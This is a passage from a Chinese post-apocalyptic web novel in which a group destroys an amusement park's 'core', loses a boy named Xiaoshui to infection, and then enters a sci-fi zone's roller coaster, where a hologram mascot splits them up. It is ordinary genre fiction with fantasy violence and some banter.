链条转动的声音缓缓响起,船身缓缓向前移动,祝无忧路过伏苓的时候眼巴巴地看着她:“不知道为什么,想到不跟你一个船突然有点发慌。”
伏苓认同地点点头:“可以理解。毕竟你们要面对更多感染者。”
祝无忧哭唧唧地滑了过去。林随安还在测试座椅压肩的破损程度,路过伏苓的时候道:“设施不可信,要注意安全。”
伏苓“嗯”了一声,看着船舱缓缓上爬。等后一辆车挺稳后,她跨进舱内,在第一排的右侧找了个地方坐下。
木偶尽心尽责地开始按按钮。伏苓安全带也不系,观察着舱内的情况。
舱内的座位分布类似于船舱中的长凳,用皮革和木材制成,座位间隔不怎么规则。舱内四周装饰着海盗主题的装置,如假帆、船舶仪器等,看上去还真有那么点意思。
船身缓缓向前移动,伏苓瞧见前方程承他们的船已经抵达最高点,停了两三秒后猛地向下滑落,不见了踪影。
她垂下眸子,脚尖轻轻踢了踢前面的扬声器,安静地等待船舱爬到顶点。
……
船舱又是狠狠一颤,这一次的幅度相较之前更大,整个船舱几乎悬空,与下面的轨道脱离,祝无忧再次抽出一张星牌,将船舱与轨道紧紧贴在一起。
她死死抓住扶手,大喊:“怎么回事啊!”
在从最高点落下的短短30秒内,船身已经剧烈抖动了好几次,船舱的速度很快,舱内几人没办法起身查看情况,程承喊出血兔,扒着船舱的侧边查看轨道情况。
两秒后,程承道:“好像是感染者的残肢卡在了轨道里,不过幸好我们已经给它碾碎了,伏苓的船应该没什么问题。”
飞快上爬下落带来的风呼呼刮进祝无忧的嘴里,但她依旧喊道:“你先关心关心我们这条船吧!”
话音未落,上方陡然传来感染者的嘶吼,祝无忧浑身僵硬。
不是吧不是吧,现在设施的问题都已经这么严重了,还要火上浇油来个感染者吗?
她缓缓抬起头,发现事情并不是如她所想——因为不止来了一个感染者,而是一群。
一群?!
她下意识开始抽卡,红雾也瞬间盖在船舱上方,程承急促的声音顺着风传过来:“忧忧,带着小水低头!”
感染者一个接一个砸在距离他们只有半寸的地方,血迹和脸部挤在红雾之上,将他们本就狰狞的脸变得更加骇人。他们有的顺利留在了船舱之上,便嘶吼着疯狂打砸红雾试图进来,而其他感染者砸在红雾上,引起剧烈震颤后跌落下方。
林随安抬手缩进与感染者的距离,下一瞬,趴在船舱上方的感染者瞬间消失。
与此同时,栈桥上陡然多出几个感染者来,林随遇看着凭空出现的感染者挑了挑眉,光束射出直接将他们弹飞。
船舱还在摇摇晃晃地前进,速度没有丝毫减弱,甚至隐隐有了加快的趋势。风带来的阻力如同巨型大手,将几人牢牢摁在座椅里。
林随安抓紧上方座椅,喊道:“之后是第一个冲进湖水里的轨道段,下面很多感染者,抓紧座椅,不要抓压肩!”
祝无忧艰难地侧头看小水,见他已经抓好了座椅才放下心来,她空出一只手召唤出星牌,抽了两张水屏障。
她将一张用于他们的船舱,另一张往后扔去,固定在轨道上,这样伏苓那艘船过来的时候水屏障会自动作用在她的船上。
风声呼啸,让几人几乎听不到其他任何声音,下方湖水中的感染者听到机械震动的声音,都本能地聚集到了轨道上,程承迎着风抬眼看去,只见最下方的轨道处挤满了感染者。
这样不行!
若是船舱撞上这些感染者,肯定会脱轨,甚至有可能直接散架。
因为风的阻力红雾没办法直接冲出去,程承眸子冷静得可怕,红雾飞快爬上他的身躯,越来越多,越来越多,直到他浑身的血液几乎都要干涸,紧紧贴着他肌肤的红雾几乎快要凝成实质,他瞳孔中映着下方感染者转头冲过来的场景。
下一瞬,红雾如离弦之箭破开飓风,硬生生闯出了一条染血的气道,以近乎狠戾的力道贯穿轨道!
神挡杀神,佛挡杀佛,红雾如同疯了一般毫不顾忌地撞开任何想要靠近轨道的感染者。
那一瞬间,粘稠如血液的红雾像是一个高高凌驾于一切的神明。
这艘船速度快得不同寻常,几乎是以冲撞的力道撞向湖水。水花四溅,滴落的水珠劈里啪啦地砸在水屏障上。
程承还没来得及松一口气,船舱丝毫没有降低速度地再次冲上云霄。相对于急速下落,在设备没有安全保证的情况下急速上升反而更令人恐惧。
程承的心脏如同被大手狠狠攥住,让他的呼吸都空了一拍。
这种外界刺激带来的心脏骤缩与伏苓给他带来的刺激完全不一样,非要形容的话,只能说伏苓带给他的刺激是带着欢愉的荆棘,痛得令他浑身都爽得发颤。
而此刻的感受却完全不一样,只是单纯的厮杀和紧绷。
林随安的声音从后面断断续续地传来:“第二个落水点,注意前方!”
与她的声音一同亮起的,是船舱抵达最高点时下方一览无余的场景。湛蓝到血腥的湖水中央,是一尊极高的海盗雕像,程承的目光不受控地被它帽子上的红玛瑙吸引。
强烈的压迫感袭向全身,船舱没有丝毫停顿,猛地向下冲去。几十米的高度俯冲下去只需要短短几秒,船舱陡然脱离轨道,撞入水中。
等候多时的感染者蜂拥而至,林随安双手扯住压肩,两臂猛地发力将整个压肩扯断,她弯腰从下面钻出来,空间铺满船舱周围,将距离最近的一圈感染者全部传送转移。
船舱在水中缓慢漂着,程承用红雾勾住轨道最边缘的海盗船杆,将船舱拉至距离雕像最远的一侧。水流推着他们向前飘荡,距离出口处仅剩下几米之隔。
小水小心翼翼地从压肩下方钻出来,趴在侧边伸着脖子向前看去。
感染者跟着他们的脚步在水里扑腾着追赶,很快将雕像旁的水道让出了一条空挡。
祝无忧抛出星牌,最边缘的感染者后方的湖水凭空升起,拦住了感染者回去的所有路径。
一切准备就绪后,后方最高点传来机械撞击的破空之声,几人猛地回头看去。
刺目的太阳被灰蒙蒙的物质蒙盖,只能依稀看到一轮圆射出夺目的灰光,不知何处的水滴溅上半空,在光芒的照射下熠熠生辉。
船舱底部陡然出现在视线中,如腾空而起的巨鹰在空中停滞几秒,挡住了那轮灰日。
程承瞳孔微颤,红雾再也顾不得周围的感染者,倾泻而出冲向天边:“脱轨了!”
还未等其他人做出反应,一道身影踩着船舱跃入空中,在灰色阳光的映照下如同黑色剪影。
软剑似龙蛇飞舞追随在她身后,红雾弥漫,如炊烟般卷上半空。
伏苓脚尖踩上雾气借力,将软剑狠狠砸向近在咫尺的核心。
轰隆——
石块碎裂之声中夹杂着玻璃崩坏的清脆声响,巨大的声音几乎传遍整个嘉年华。
不远处的海盗堡垒上,孙亿站在最高层的露天城墙上,水流蜿蜒着将前方的感染者打落在地。
他愣愣转头,瞧见湖水中央的巨大石像缓缓崩塌,团团灰尘中,那抹灵敏的身影如救世之主,让他的灵魂都仍不住震颤着叫嚣着俯首称臣。
他讷讷:“卧槽……”
69. 废弃游乐场06
林随遇恰好翻上城墙,他眉间忧色稍稍放缓,闻言瞥他一眼,捧读道:“一个女人能有什么用?”
孙亿身体一僵,立马意识到这人是在学自己之前说的话。他顿时如同被人扇了好几个巴掌一样,脸火辣辣地疼。
谁知道……谁会知道一个无能力者,一个女人能做到这般程度?
他张嘴想反驳些什么,却一句话也说不出来,只好讪讪闭嘴。
林随遇心中那口气终于疏通,笑嘻嘻道:“看样子他们快结束了,我们去庄园里找他们吧。”
说完他也不管这几个被伏苓震得还在傻楞的人,哼着歌晃晃悠悠走了下去。
路上恰好遇到回来的秦晚,林随遇随口问了一句:“怎么样?”
他知道程承让秦晚留下来的目的,不就是想让秦晚安抚那些感染者,清出一条从出口离开的路嘛。
林随遇身为集庆前队长,自然知道如何将一个人的强项发挥到极致。
秦晚沉默着点了点头,道:“成功了。”
距离伏苓他们进去也不过不到十分钟,他们已经在林随遇的领导下将整个海盗庄园里的感染者都引到了边缘,并让秦晚将他们安抚下来。
这人的能力也同样不容小觑。
林随遇满意地点点头:“那就走吧,他们应该快出来了。”
……
船舱内。
林随安拍了拍还在震惊的祝无忧,厉声道:“防御!船掉下来了!”
祝无忧猛地回神,只见那艘被伏苓抛弃的船舱开始直愣愣地往下掉,看那落点,多半会砸到他们的船上,她立马慌慌张张地开始抽卡。
林随安没再废话,下一秒就消失在原地。
核心毁灭,她可以使用异能了。
林随安的身影在一瞬间抵达伏苓坠落的位置,她双手环住伏苓的腰,空间在她们两的下方展开,两人双双跌入空间漩涡,瞬间砸在船舱里。
船舱周围亮起金色的屏障,船舱掉落砸在屏障上像是砸进了一团棉花里,很快被弹了回去,散落入水中,屏障也失去了效果,随之消散。
雕像破碎砸下来的石头击中了不少感染者,红雾以席卷之势风卷残云,将剩余的感染者尽数击退。
程承一脚踩上座椅翻了过来,座位间的空隙不大,两人横着倒在最后一排的地下,他没办法过去,只好急切问道:“有没有受伤?”
祝无忧也扒着座椅问:“你们没事吧?!”
伏苓撑着地直起身子,伸手将被她压在身下的林随安拉起来:“还好吗?”
别人看不清楚,但她可是知道,在跌落之前,林随安将她护在怀中,让两人位置翻转,自己当作伏苓的垫背砸在船舱上。
伏苓说不清楚自己的感受,只觉得被人呵护、被人当成孩子般保护的滋味如暖流划过心间。
一个林随安,一个林随遇,他们俩表面上不会说什么煽情的话,但似乎是觉得自己年纪比他们三人大,又可能是身为军人的责任感,让他们总会下意识地将其他人护在身后。
林随安动了动肩膀,摇摇头:“我没事,你怎么样?”
伏苓靠在椅背上:“我能有什么事?那破船脱轨前我就意识到了,立马给压肩扯开跳了出去。”
祝无忧讷讷道:“我就说这压肩不行,谁都能扯开。”
她指着扒在侧边的小水道:“甚至小水也能从里面钻出去!”
虽然没怎么受伤,但这次也够惊险的,林随安不免有些累,靠在侧边围栏上:“人家是身形小能钻出来,你怎么出来的?”
祝无忧哼哼两声,叉着腰道:“我用的挣脱卡牌!”
伏苓挑挑眉:“还有这种卡牌?”
祝无忧骄傲抬头,但又忍不住道:“我都有用钱砸死人的卡牌了,一个挣脱卡牌怎么了?”
伏苓微微一愣,过了两秒才想起来这是他们第一次见面的时候祝无忧为表诚心用钱砸晕了一个感染者。
恍惚之间,这件事情似乎已经过去很久很久,但仔细想想,其实也不过两三个星期不到。
毁掉核心后,吹过来的风总算不再满是血腥和腐朽的气息,伏苓第一次想用“新鲜”来形容一阵风。
它温柔地吹开被汗水沾湿的发丝,让所有人都短暂地卸下了肩膀上的重担。
未来的路似乎异常艰难,但人不是没有感情的机器,总是眼盯前方,身上压着的重担便会如同一座无形的大山,压得所有人都喘不过气。
但路途中总有那么一个瞬间,比如清水发出潺潺的脆响,又或者是清风吹破腐朽,代替阳光洒向世间,能让深陷危机和痛苦的人们感到轻松和惬意。
哪怕只是一瞬间,也足够令人满血复活。
伏苓抬眼,看见了林随安身后陡然从水中冒出的浮肿手臂,她瞳孔猛地一颤,下意识直起身冲了过去:“林随安!”
意外的发生只在转瞬之间,在伏苓的瞳孔中,一切的一切都被缓慢拉长,如胶卷电影的卡带被卡住,画面一帧一帧地开始跳转。
她看到那只带着腐朽湖水的手指猛地抓向林随安,看到林随安下意识想使用异能逃离,看到一只瘦弱的小手突然出现在画面中,挡在了林随安和那只象征着死亡的手掌中间。
扑通——
小水被猛地拽进湖水。
林随安攥住船舷,她脑子一片空白,但身体已经先她一步做出反应。
她下意识伸出手想去抓住小水,但触碰到水面的前一秒,红雾如疯长的藤曼缠绕住她的手指,隔绝了她与湖水。
程承冷声道:“不要碰到水!”
林随安像是被浇了一盆冰水,脑子清明起来,身体却忍不住颤抖,她死死攥着船舷,咬着牙绝望地看着在水下挣扎的小水。
身为军人,身为在这场足以毁灭世界的灾难中成长的军人,林随安做过无数个需要在理智与情感中做出决定的选择。
在她亲手杀死于她而言,如同父亲一般的张队的时候,她便以为,世间再也没有一个选择会让她更加煎熬。
直到此时,她清楚地意识到,那个艰难的、足以让她精神崩塌选择再次摆在了她的面前。
理智地讲,小水跌入湖水之中,本质上他就不再属于人的范畴了,即便他如今还存在着意识,他也会在数秒之中变成倒戈相向的敌人。
更何况他们没有任何解救他的办法,如果林随安真的不顾一切地去救他,那么死去的不仅仅是小水,还有她自己,他们的损失会平白增加数倍。
但从情感上来讲,眼睁睁地看着一个活生生的人缓慢地死在自己的面前。
甚至这个人还是个孩子,是救她的恩人,是虽然与他相处不过照面,但她已经将它纳入自己保护范围内的平民百姓。
这太痛苦了。
伏苓举起能量枪砰砰两发,将缠着小水的感染者击杀,可湖水中那股令人无法脱离的力量依然存在,她清晰地看到小水在水面底下挣扎,却丝毫没有办法突破平静的水平面。
她甩出软剑,试图将小水捞上来,但即便剑身死死缠住小水的身体,即便伏苓使出浑身解数,连小臂的肌肉都微微颤抖,那孩子依然无法突破水平面。
祝无忧疯狂抽卡砸向水面,哭着喊道:“小水!怎么办啊伏苓……”
程承深呼吸了两下,努力将自己的理智拉回正道,他飞快地扫向周围,尘埃落定,还活着的感染者顿时又开始向这边聚集。
他回过头看,看着试图救下小水的三人,用尽量平和的语气道:“我们得走了。”
林随安的指尖几乎将船舷摁出几个裂缝,她心里清楚地知道,程承说的很对。
他们必须要走了,而且这种情况多半必须使用她的异能将几人都传送。
可是……
她真的,好不甘心啊。
她狠狠闭了闭眼,转头不再去看挣扎力度越来越小的水流。
但下一瞬,小水的身体被猛地托起,湖水从他的身体上落下,滴入水中,形成一道细密的水帘。
而在水帘的后方,是一个浑身浮肿,额头上有一块红色胎记的女子。
她看着不过二十出头的模样,本该浑浊的瞳孔陡然清明了一瞬,她微微张唇,一句话也没有说出来,但伏苓却莫名听懂了。
——不要让我的孩子留在水里。
伏苓当机立断:“随安!传送!”
下一瞬,小水的身形在几人眼前消失,伏苓看见女人的瞳孔闪过一丝感激,转瞬即逝的,很快又化作了混沌不堪的模样。
在女人失去理智扑上来的一瞬,林随安飞快将伏苓也传了出去。
落地的位置在海盗庄园里的花园里。
林随遇做的很好,整个海盗庄园内没有一个人,伏苓站在原地,低头看着跪在地上疯狂咳嗽的男孩。
小水跌入水中的时间其实不长,在他的视角看来,不过短短两三秒,他便来到了实地上。
湖水灌入肺腔的感受太过痛苦,让他连呼吸都有些困难,只能狼狈的跪在地上,试图将身体里的水咳出来。
他咳到眼前发白,恍惚之间记起方才他似乎看见了妈妈。
不对,真的是妈妈。
他原本混乱的心在此刻鲜活地跳动起来,他终于见到日思夜想了八年的妈妈。
但很快,从四肢开始他的身体出现了密密麻麻的疼痛,像细针不断地扎入肌肤,穿过骨骼,刺破内脏,再从另一侧出来。细腻的疼痛让他忍不住尖叫出声。
他猛的意识到,自己似乎,快要死了。
求生的意识让他下意识扑向伏苓,他的泪水不断地从脸颊滑下,带着刺骨的疼痛:“伏苓姐姐!救我救救我!”
伏苓沉默地垂着眸看他,没有说话。
小水几近崩溃,死亡的恐惧席卷全身,他即便再懂事再乖巧,临到这一刻也依旧会害怕。
但即便如此,他也在自己被湖水沾湿的双手,快要触碰到伏苓的那一瞬停下了动作。
他的双手狠狠捶向地面,额头抵在地上:“求求你救救我!我不想死,我不想死啊……”
或许是因为自从见到伏苓开始,她就一直表现出极端的强势,让所有人都觉得她好像无所不能,甚至……甚至能操控生死。
但,伏苓颤抖着吐出一口气,她也只是一个普通人啊。
若要说的话,她甚至没有特殊的异能,只是一个最普通最平凡的人类而已。
小水的喊声愈发绝望,他逐渐意识到,没有人能救下他,他泪水大颗大颗地掉落,小小的手死死攥住沙土,他喃喃:“救救我……伏苓姐姐,我不想死……”
意识逐渐模糊,死亡的压迫感如影随形,几乎讲他整个人包裹起来。他恍惚一瞬,妈妈当年,也是这样的感受吗?
他突然释然地笑了一声,如果死前,他已经完成了自己的愿望,死后也会变成和妈妈一样的人,那又有什么可怕的呢?
他早就知道秦晚为何愿意护着感染者,是因为她相信感染者或许有一天会重新恢复意识,变成原本的样子。
可是,他的意识逐渐无法控制,却也能短暂地觉得,如果身体四肢五脏六腑意识思想都被贯穿了个彻底,这样的人类,真的还能称之为是人吗?
程承他们也陆续传送出来,林随安沉默地站在原地,眸中满是悲伤。
祝无忧忍不住哭出声来,她上前一步:“小水,你还认得我吗?”
小水撑着手臂摇摇晃晃地站起来,尚还存着一丝清明的眸子对上伏苓的眼睛,没有谴责,没有哭诉,只剩下无尽的麻木。
他知道凭自己仅存的意识,没有办法,再说太多,只能匆匆朝着伏苓鞠了一躬,跌跌撞撞地朝外跑去。
从外面进来的林随遇被他撞了一下,侧身让开,挠了挠头:“这是咋了?”
秦晚敏锐地侧头,皱着眉片刻后问:“这孩子……变成感染者了?”
林随遇微微一愣,看着小水的背影叹了口气,走到林随安身边拍了拍她的肩膀,轻声道:“没事吧?”
林随安摇摇头,伸手揽过还在哇哇大哭的祝无忧,将她抱在怀中揉揉她的脑袋。
程承走到伏苓身侧,指骨碰了碰她的手背:“伏苓?”
伏苓垂着眸,轻轻“嗯”了一声。
他轻轻勾起伏苓的指尖,将自己的手指挤入她的指缝,拉着她到了角落的小棚子里,旁边的帆布恰好将两人的身影遮得严实。
程承拉过伏苓的手,低头吻了吻她的手背,轻声道:“这不是你的错。”
伏苓抬眼看他,程承继续说着,声音温柔得不可思议:“因为你的实力强,所以大家总是下意识地去寻求你的帮助,这是人之常情,但你没有义务去做到每一个人的要求。”
他轻轻将伏苓的头发拨至耳后,凑上去亲吻她的额头:“但大家都忽视了,你并不是无所不能的。我希望你也不要忽视。”
“不要把太多事情压在自己身上,还有我呢。”
伏苓勾唇笑了笑,揉揉他的脸:“所以你这算是什么?”
程承抓住她到处乱动的手,拉至唇边亲吻手心,温热的呼吸喷洒在手心上,伏苓指尖微微蜷缩。
他笑眼弯弯:“算是安慰啊,还能是什么呀。”
伏苓笑了笑,舒出一口气来,凑上去咬住他的唇瓣,故意厮磨两下,用气音道:“我更希望你直接这样安慰。”
……
两人没一会儿就回去了,伏苓握住发着呆的祝无忧的手,她的手心一片冰凉。
想来也是感慨,他们穿越了大半个国家,却嫌少亲眼见证死亡,但离肃州越近,一些不想面对的事情,反而在眼前愈加清晰。
这次的事情就是明晃晃的在告诉他们——
你们以为自己可以不付出任何代价地救下所有人吗?
你们以为所有人都有能力抵抗末世,都有能力保护好自己吗?
正常人被迫变成感染者这件惨绝人寰的事情,与很多置身事外的人而言,只有在众人口中听说,又有多少多少人变成感染者了。
但他们并不只是一串冰冷的数字,每一个数字的背后,每一个人的背后,都藏着无尽的心酸和痛苦。
而此刻,被刻意忽略的血淋淋的真相,在今天撕开,露出了腥臭而腐烂的内里。
祝无忧抬着头看她,小声问:“伏苓,我们真的能成功吗?”
她终于意识到了前路的坎坷和荆棘,意识到此行恐怕需要付出难以想象的代价。
伏苓揉揉她的脑袋:“会的。”
祝无忧点点头,这么长的旅途走来,她已经养成了无脑相信伏苓的习惯。只要伏苓说可以,哪怕此刻她心中仍有恐惧和迷茫,她也就觉得可以。
林随遇安静地等他们缓过神来,期间无意识地揉了揉肩颈,林随安注意到:“你怎么了?”
林随遇满不在乎地摆摆手:“走路扭着脖子了。”
林随安叹了口气:“我看是你走过来的时候太得瑟了吧?”
林随遇勾住她的脖子,笑嘻嘻道:“这你都知道?”
几人很快穿过栈桥与冯辉他们汇合。
见到他们的时候,氛围格外沉重。
几人低声说了两句各自的情况,就再也没有人说话了。
冯辉抿了抿唇,绞尽脑汁,沉稳开口:“童话区有一个小熊。”
众人的目光下意识看过去。
冯辉神色认真:“——它把自己的指甲剪掉了,后来就变成了小能。”
众人:………………
气氛更加凝固了。
祝无忧“额”了一声:“这是……笑话?”
冯辉侧头看她:“不好笑吗?”
祝无忧:“……”
祝无忧:“哈哈,哈哈,挺好笑的。”
虽然冯辉的笑话很冷,但气氛还是稍稍缓和了一些。
伏苓无意识对上孙亿的闪躲的目光,他神色不自然,只一眼就再也不敢与他们对视。
伏苓哼了一声:“怎么,我们的实力有达到你的要求吗?”
孙亿瞪大眼睛,刚想骂人,又猛地顿住,小幅度地摆摆手,弱弱道:“不敢不敢。”
林随安嗤笑一声。
接下来,他们便准备前往最后的科幻区。
小火车内安安静静的,没什么人说话。祝无忧坐在伏苓身侧,趴在窗沿上看着缓缓后退的景色发呆。
程承悄悄拉过伏苓的手,握在掌心里把玩,他一会捏捏她的指尖,一会又与她紧紧十指相扣。
林随安无奈地将指尖摁在林随遇的脖颈处,不轻不重地摁了两下:“好点没?”
林随遇感受了一下,琢磨道:“可能吧?”
秦晚坐在伏苓前方,过了片刻,才回过头来道:“科幻城的整个区域都被核心笼盖,异能者寻常都进不去。里面的情况实在是不太了解。”
程承没松开伏苓的手:“核心的影响范围不大,之前能够阻止异能者靠近,多半是因为外面这颗副核心在与它一同作用,如今海盗堡那颗已经被我们毁掉,进入科幻城应该是是没什么问题的。”
伏苓懒散靠在程承身上:“科幻城里的核心是哪个设施?”
说到这个,秦晚语气变得沉重:“过山车。”
科幻城的过山车是一个巨型过山车,就是在嘉年华入口处瞧见的那个高耸入云的轨道,它有四条轨道同时进行,每条轨道的运行轨迹都不一样,相互交缠在一起。
轨道有三分之一在地下穿行,整个过山车占了科幻城几乎一半的面积,可见其轨道之长,设施之复杂。
林随安按着林随遇肩膀的手逐渐停了下来,她询问道:“那对于核心在哪里,你们有什么想法吗?”
秦晚摇摇头:“我不知道,只知道核心一定在过山车内部,但具体在哪,我确实不清楚。”
冯辉插嘴道:“那个设施在雨灾之前我坐过,里面没有什么像激流勇进中藏着的雕像一样的存在,只有几座赛博风格的假山。”
孙亿也小声补充:“还有一段地下的,但哪里能藏核心确实看不出来。”
祝无忧奇怪地看了他一眼,凑到伏苓耳边小声道:“他怎么突然这样说话?”
车厢内很安静,哪怕祝无忧压着声音,这句话也被几乎所有人听见了。
孙亿面露尴尬之色,想反驳,但又怂怂地看了眼伏苓,余光又瞥见了似乎察觉到他的想法而冷冷看着他的林随安,认怂般的闭上了嘴。
伏苓轻笑一声:“欺软怕硬呗。”
祝无忧又看了一眼,伏苓都说出攻击性这么强的话了,放在二十分钟前,这人肯定要开骂了,但此时仍然规规矩矩地坐在座椅上。
祝无忧顿时觉得好笑:“那我现在岂不是说什么他都不敢骂我?”
伏苓颔首:“当然。”
当然,他也可以骂,不过后果会是什么伏苓可就不敢保证了。
祝无忧深呼吸,大喊:“你是傻逼!”
伏苓:“……”
孙亿还是坐着一言不发,但伏苓瞧见这人被气的脸跟脖子都红了。
祝无忧见他真没说话,又兴奋了几分,继续骂道:“你嘴太贱了!自己心里没点逼数吗?天天说一些不讨喜的话,谁会喜欢你啊!”
孙亿忍无可忍:“啊啊啊你闭嘴!!”
小火车缓缓驶入科幻城的地界,周围的一切陡然变暗,原本隐隐快要破开灰色的阳光也倏地消失,只剩下小火车内部的几盏灯光。
小火车缓慢停下。两侧被有破旧机械搭在一起制成的机械墙,上面画着五颜六色的涂鸦。这次的站台高大且严实,机械铁皮将周围包裹得严严实实,只留下一个小门供人行走。
众人下了小火车,浩浩荡荡地走出小门。
伏苓走出低矮的门,抬眼的一瞬间脚步微顿。
前方矗立着数个错落有致的高楼大厦,黑夜笼罩之下,璀璨的霓虹灯连接成一片灯光的海洋,中间的高塔建筑前,投影出类似UFO的圆型飞船。而在他们不远处的头顶,飞过几辆悬浮车。
伏苓的瞳孔被蓝色调笼罩,巨型电子屏幕的色彩镶嵌在她的瞳孔,一辆悬浮艇从左滑到右边,鲜艳的荧光条幅随风飘扬,上面映着几个五颜六色的字:“欢迎来到科幻城。”
“欢迎来到科幻城。”与条幅一同响起的,是来自四面八方的广播声音。
前方投影出的飞船滋滋消失,出现了一个高大且逼真的巨型人偶,它身上还穿着嘉年华的工作服,朝着伏苓微微鞠躬:“尊敬的游客朋友们,亚洲第一巨型过山车,需要体验一下吗?”
话音落下的瞬间,一条过山车轨道凭空游荡着出现,车箱闪着绚丽的灯光绕着人偶上上下下地转圈。
人偶扯动嘴角,抬手向他们展示,感情饱满地说:“如您所见,我们的‘极夜电光’拥有多个高低起伏的弯道、急转弯、螺旋下降等刺激元素,全程约四分多钟,有四条不同轨道任您选择,丰富而持久的体验能让您感受到前所未有的失重感和推背感!”
随着它的讲解,过山车的投影跟着一齐变化,几人目不转睛地看着投影上的过山车轨迹,推算着核心所在。
人偶打了个响指,过山车瞬间化作微小的光颗粒散开:“期待您的到来。”
人偶消失,原地再次出现了飞船。
祝无忧卧槽一声:“真科幻啊?”
她还以为就放几个科幻元素的牌子,没想到人家嘉年华是大制作。
冯辉解释道:“这个人偶是嘉年华的吉祥物,之前经常会有工作人员穿着这个衣服四处逛,好像是叫什么……金城之王?”
程承:“……好名字。”
他四处看看,周围的绚丽灯光照亮了黑漆漆的道路,四周居然没有一个感染者。
冯辉率先迈开步子:“走吧,极夜电光在这边。”
大家都跟了上去,林随安低声道:“你们有没有觉得……”
似乎是不知道该怎么说,她顿了两秒:“这里的科技发展的有些太割裂了。”
相对于别的城市来说,金城嘉年华的科技的确是太超前了。
如果说伪造出一个类似的赛博朋克风场景倒也算不上什么高科技,但方才的巨型投影则是实
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实在在的断层科技。
人偶的表情,每一处细节,包括过山车出现的场景,都不是现在的科技能达到的精度。
而这种程度的科技,程承只在一个地方见过。
他转头看向伏苓,后者明显也想到了什么。
程承转过头来,低声道:“你看S47的科技水平是不是跟眼前的这些是一个层次?”
林随安微微一愣,再次陷入沉思。
他们走了几步,在一处巨大的蓝色灯光树前转了弯,与方才街道不一样的是,这条街的高层摆满了高高低低的霓虹灯招牌。
祝无忧眯着眼睛看了半天,读出了最显眼的绿色荧光招牌上的红色字体:
“……黄焖鸡米饭?”
“贵花麻辣烫?”
“老东乡羊肉?”
“西师第一食堂……这什么玩意?”
程承揉了揉太阳穴:“显然,这是一条小吃街。”
伏苓捂着脸笑出了声。
祝无忧一脸疑惑地转头:“小吃街就小吃街,跟大学食堂有什么关系啊?”
林随安叹了口气:“可能他们食堂好吃?”
林随遇面无表情:“我有点饿了。”
祝无忧:“……其实我也有点。”
林随安一人塞了一个压缩饼干:“吃。”
林随遇面露难色:“我想吃麻辣烫。”
祝无忧含泪哽咽:“我想吃第一食堂。”
林随安沉默两秒,又把两人手上的压缩饼干抽回来:“……都别吃了。”
几人说说闹闹地穿过小吃街,见到了嘉年华的镇园之宝——极夜电光。
入口处是一个镶嵌着闪烁的霓虹灯的发光拱门,蓝光在一个类似于电路的图案中缓缓流动。
几人沿着道路走近内部,他们此刻站在最底层,上面是一段一段交错的铁质楼梯,楼梯地板和栏杆上都印着蓝色的荧光条,指引着他们的道路,左右墙壁上霓虹灯或明或暗,如繁星点点,交织成一片斑驳的光海。
他们小心踩上了楼梯,发出沉重的碰撞声。
祝无忧左看右看,五颜六色的光芒洒在她的脸上,显得她眼睛亮晶晶的:“这里感觉好好玩哦。”
相对于她的好奇,程承显得有些凝重。
这样的场景若是当真来玩闹的,自然是极有氛围感的,但此刻他们需要在设施内部寻找隐藏起来的核心,这样的霓虹灯泛滥的场景,明显会给寻找核心的任务增添难度。
一路上都没什么人,甚至没有听到感染者的声音。
林随安不禁疑惑:“秦晚小姐,我记得你之前有提到过,极夜电光附近聚集着很多感染者,但如今看起来,似乎并没有感染者。”
秦晚抿了抿唇:“这我也不清楚,之前到这里的时候,设施外围的感染者确实非常之多。这一点我可以保证。”
林随安碰了碰楼梯旁的荧光条,上面没有被感染者抓挠的痕迹:“科幻城内的感染者并没有离开区域?”
秦晚肯定道:“对,一个两个感染者的行踪我可能没办法掌握,但科幻城如此大批量的感染者离开我肯定会发现的。”
正说着,一行人已经来到了最上层,建筑内部是一条白色透明的发光走廊,两侧都是极具科技感的装饰。
林随遇双手揣进口袋里,插嘴道:“所以那些感染者还在科幻城?”
但方才他们从站台走到这里,基本上可以确定外面没有感染者的存在——起码没有大量感染者的存在。
也就是说……
程承的眸子染上忧色:“他们都在过山车里?”
祝无忧打了个寒颤。
“但是很奇怪。”林随安道:“刚刚我观察了一下,除了走楼梯进入,没有别的通道。所以感染者想要从外面进入设施内部,必须要走过刚刚我们走过的路程。而在这个过程中,他们居然没有一丝攻击或触碰公共物品的行为,这不合理。”
秦晚赞同道:“是的,哪怕是在我的安抚下,他们走路的时候也会不小心抓挠到附近的设施。”
如果感染者是从这条路走的,那么他们上楼梯这么长时间以来,都没有拥挤,而是乖顺地、有秩序地走在道路中央。
“所以,是那颗核心?”祝无忧瞬间明白了他们的意思:“但,核心还能这么操控感染者?”
谁知道呢?
一行人顿时沉默下来,走廊里只剩下走路时的摩擦声。
如果过山车内部挤满了感染者,再加上有核心的干扰,这次恐怕危险异常。
前方视野陡然开阔,走廊一侧出现了一个公交站台,站台通体亮着蓝白的光,中间的板块镶嵌着一个电子屏幕,上面不断循环着坐过山车的注意事项。
宽敞的走廊在前方分成四个狭小的通道,每个通道的小门和内部都闪着不同颜色的光条。
程承走过去,将手掌贴在站台上。
异能没有消失,核心不在这里。
林随遇不解:“这什么意思?要我们分开?”
祝无忧:“你笨啊,我们只走一条道不就行了?”
程承皱着眉,觉得事情不会这么简单。
果然,在分岔口中央,人偶再次被投影出来。这次的人偶倒是正常大小,它圆溜溜的眸子紧紧盯着众人,笑容热情:“感谢各位选择极夜电光!请根据指示依次进入对应的通道,体验极夜电光不同线路的精彩!”
指示?什么指示?
还没等他们问出口,人偶便抬起手,指向站在最前方的冯辉:“这位先生,请至绿色线。”
冯辉皱紧了眉。孙亿顿时不干了:“就单纯听你指挥吗?凭什么?”
他猛地上前一步,却发现自己的身体仿佛被冻住一般,再也无法向前一步。
人偶笑眯眯地看着他,黑漆漆的瞳孔印出诡异的亮光:“这位先生,还没有到你哦。如果继续违反工作人员指示,我们将……滋……”
他最后几个字被突如其来的电流声取代,最后化为极其不协调的电子音:“……就地抹杀。”
冯辉脸色一变,拎着孙亿的后衣领将他提了回来:“先不要硬碰硬。”
与人偶拉开距离后,孙亿终于能够再次呼吸,他猛地开始咳嗽,整张脸都憋红了。
冯辉给他拍了拍背,朝着身后众人道:“既然如此,我就先进去了。各位注意安全。”
程承点点头:“你也是,千万小心。”
冯辉进了绿色的通道。
伏苓靠在站台上,冷眼看着众人一个一个走入不同通道。
冯辉的队伍,除了他和孙亿以外,还有五个人。其中冯辉进了绿色通道,孙亿和另外两个人进了蓝色通道,秦晚和另一个进了红色通道,最后两个进了黄色通道。
而真正让伏苓感到明晃晃恶意的是对他们五人的分配。
